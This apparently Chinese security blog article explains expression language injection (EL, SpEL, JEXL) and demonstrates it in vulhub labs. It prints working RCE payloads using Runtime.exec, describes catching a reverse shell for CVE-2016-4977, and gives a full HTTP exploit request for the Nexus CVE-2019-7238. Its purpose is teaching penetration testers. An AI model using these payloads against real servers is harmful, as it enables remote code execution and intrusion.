|
原文链接:花式注入那点事儿(上) | 技术精选0116
听到注入,也许你首先会想到的是SQL注入,但是,你知道其他的注入方式吗?
让我们先从Web注入的成因开始讲起。注入产生的条件就是服务端未对用户的输入做校验,将用户输入的内容作为正确内容的一部分接收,执行了用户插入的恶意内容从而导致出现各种问题。
由此可知,注入的类型就不仅仅局限于SQL,还包括好多……其实命令执行就是一种注入。
在此系列中,就给大家讲讲你可能不知道的那些注入类型,比如表达式注入,又可分为EL表达式注入、OGNL表达式注入、JEXL表达式注入、SPEL表达式注入等。
再比如SSTI又称模板注入、JWT注入、HTML注入、DDE注入、CRLF注入(响应截断)、LDAP注入等等多种。
是不是好多都没有听说过?
这其中,有的可能是由客户端对服务器发起的,也有的可能是由服务端对客户端发起的,更有的混杂在其他漏洞中让你傻傻分不清。这系列文章就带你了解一下那些你可能见过但又不知道类型的“花式注入”。
1
表达式注入
什么是表达式注入?
表达式注入(Expression Language Injection)在2013年由OWASP创建,这种漏洞现在也被安全人员称之为远程代码执行漏洞。因为表达式注入经常出现在Java Web中,所以又称之为JWEL注入。
我们经常所说的struts2系列漏洞,就是表达式注入的一种,也称之为OGNL表达式注入。因为其对OGNL执行函数的处理不当,导致出现了远程代码执行。
正因为有了Java表达式这种工具,开发者们可以方便地进行动态赋值等操作。同时,也因为开发者对用户的输入处理不当,导致rce,形成各式各样的表达式注入。
表达式注入的类型
1.EL表达式注入
EL全名为Expression Language。他的语法很简单,且最大的特点就是使用方便。
同时他也是JSP的内置语言,用来访问页面的上下文以及不同作用域中的对象,取得对象属性的值,或执行简单的运算或判断操作。
他的主要语法结构如下:
${sessionScope.company.staff} 
其中"${}"中的内容就是我们可操作的对象,如果按照之前JSP可能会这么写:
- Company company =(Company)session.getAttribute("company");
- String staff =company.getStaff( );
复制代码
不过这些都不重要,重要的就是我们知道EL的主要语法结构就好,它也提供"."和"[]"两种运算符来导航数据,如:
${sessionScope.company["staff"]}
到底两种情况会有哪些差异,我们可以参考这篇文章:
https://www.cnblogs.com/czs1982/p/3966748.html
EL的读存取也很简单,例如我们的示例中,从Session的范围内取得公司的员工值, 但是当没有指定哪一个范围的公司员工时,他会从默认值Page的范围中寻找。
假如找不到,再依序到Request、Session、Application范围中寻找。假如途中找到公司员工,就直接回传,不再继续找下去,如果没有找到,就会在页面上显示空白。
属性范围(jstl名称)
| EL中的名称
| Page
| PageScope
| Request
| RequestScope
| Session
| SessionScope
| Application
| ApplicationScope
| 同时EL也提供一些操作符,其中绝大多数都是Java常用的操作符,比如:
常见的:
"+ - * /"
取余:
"% mod"
关系运算符:
"=="或"eq"、"!="或"ne"、"<"或 "lt"、"\>"或"gt"、"<="或"le"、"\>="或"ge" 
逻辑运算符:
"&&"或"and"、"||"或"or"、"!"或"not"
再有就是"Empty"空运算符和条件运算符"${ A ? B : C}"。
既然知道EL注入是注入的一种,那么它的原理也是外部的可控,导致攻击者注入恶意表达式,实现rce。
它的通用poc如下:
- //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
- ${pageContext}
- //获取Web路径
- ${pageContext.getSession().getServletContext().getClassLoader().getRe
- source("")}
- //文件头参数
- ${header}
- //获取webRoot
- ${applicationScope}
- //执行命令
- ${pageContext.request.getSession().setAttribute("a",pageContext.reque
- st.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
复制代码
但是在测试中,更多用计算加减乘除来判断,比如这样"${7*8}"。
虽然我知道这个漏洞,但是从来没有挖到过……只能从乌云镜像上找几个洞来演示了。
WooYun-2016-196160:
- groupName=1&papersType=${555-
- 444}&papersValue=1&baseacct=1&retMsg=1&retCode=1
复制代码
可以看到在papersType处存在参数可控,执行后会在页面某处出现111这个数字,拿一个SPEL注入的例子(原理都差不多)展示:
 
 
最终可直接命令执行。
2.SPEL表达式注入
Spring Expression Language又称为SPEL,顾名思义是Spring专属的表达式语言,不仅支持在运行时查询和操作对象图,也提供方法调用和基本的字符串模板功能,同时也允许将其集成到其他应用程序和框架中。
SPEL使用"#{...}"作为定界符,所有在大括号中的字符都将被认为是SPEL表达,我们可以在其中使用运算符、变量以及引用bean,属性和方法如下:
引用其他对象:"#{car}";
引用其他对象的属性:"#{car.brand}";
调用其他方法,还可以链式操作:"#{car.toString()}";
属性其中引用名称还可以用"$"符号如:"${someProperty}";
除此以外,在SPEL表达式中,使用"T()"。运算符会调用类作用域的方法和常量,例如,在SPEL表达式中使用的Java的Math类,可以像下面示例这样使用T()运算符:
#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象。
我们最常用的其实就是弹出计算器,证明我们攻击成功了,比如这段代码:
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp =
- parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"ope
- n/Applications/Calculator.app")");
- Object value = exp.getValue();
复制代码
通过T()调用一个类的静态方法,返回一个Class Object,然后再调用相应的方法和属性。
我们通过CVE-2016-4977来进行演示。
CVE-2016-4977,Spring Security OAuth是为spring框架提供安全认证支持的一个模块,在其使用白色标签视图来处理错误时,由于使用了SPEL,攻击者可以构造恶意参数来远程命令执行。
启动我们的vulhub环境:
docker-compose up -d
在response_type参数处存在可控,输入我们的表达式"${555-444}",便可在其报错页面显示我们的结果。
 
通过其官方提供的poc,将我们的bash语句base64加密,生成我们需要的SPEL表达式:
 

监听我们的4444端口,执行我们的代码,可见成功返回shell。

3、JEXL表达式注入
Java EXpression Language,简称JEXL,是一个旨在促进在用Java编写的应用程序和框架中实现动态和脚本功能的库,也是基于JSTL表达式语言的某些扩展实现的一种表达式语言。
该表达式也提供了一些脚本语言,比如前几种表达式语言的加减乘除,同时也提供一些模块和组件配置、接口和实现松散耦合或者鸭式键入、简单的模板功能。
……算了,作为一个要做史上最强脚本小子的人,我懂那么多干嘛?直接上才艺(借用 vulhub直接演示):
CVE-2019-7238,又称为Nexus Repository Manager 3远程代码执行漏洞,由于这套系统在一些大型企业里面有一定的使用量,所以在实战过程中还是有一定用处的。
经过研究发现,该漏洞是一个基于OrientDB自定义函数的任意JEXL表达式执行漏洞,由于JEXL表达式可以执行JAVA代码同时没有安全上的限制,所以间接的就成了远程代码漏洞。
具体分析可以参考:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
 
登录到后台随便上传一个jar包,这个漏洞的触发条件就是仓库里面必须有一个jar包。任意找一个jar包上传:

条件既然已经给足了,那就直接祭出我们的exp:


或者直接发包:
- POST /service/extdirect HTTP/1.1
- Host: localhost
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
- Accept: */*
- Content-Type: application/json
- X-Requested-With: XMLHttpRequest
- Content-Length: 368
- Connection: close
- {"action":"coreui_Component","method":"previewAssets","data":
- [{"page":1,"start":0,"limit":50,"sort":
- [{"property":"name","direction":"ASC"}],"filter":
- [{"property":"repositoryName","value":"*"},
- {"property":"expression","value":"233.class.forName('java.lang.Runtim
- e').getRuntime().exec('touch /tmp/success')"},
- {"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
复制代码
其中exec里面就是我们需要执行的命令,正常情况下执行命令是不回显的,需要利用 classloader加载字节码。 
 
2
总结
表达式注入在很多情况下是命令执行的外在表现形式,其中有一些是我们常说但是不知道是什么原因引起的注入,比如struts2框架的OGNL表达式语言,在测试中也有的时候会以这种情况出现。
跳转出现参数时,我们就该考虑一下表达式注入。如果可以用这个漏洞计算加减乘除,不比计算器香?
有的时候,我们不用输入"${}",直接在参数后加减也可以计算,但是有时需要加上"${}",这就需要赏金猎人们自己判断了。
当然还有更多的姿势,比如绕过WAF。这些新姿势需要大佬慢慢挖掘,作为工具收集者的我静候大佬的exp。
3
参考文章
最后,放一些参考文章,大家可以自行学习取用。在下周三的更新中,我们会聊一聊DDE注入和HTML注入,到时不见不散!
https://xz.aliyun.com/t/7692#toc-0
https://aluvion.github.io/2019/0 ... %E6%94%BE%E5%BC%83/
http://commons.apache.org/proper/commons-jexl/
https://blog.csdn.net/weixin_42382121/article/details/82557048
https://github.com/vulhub/vulhub ... ckson/CVE-2017-7525
|
|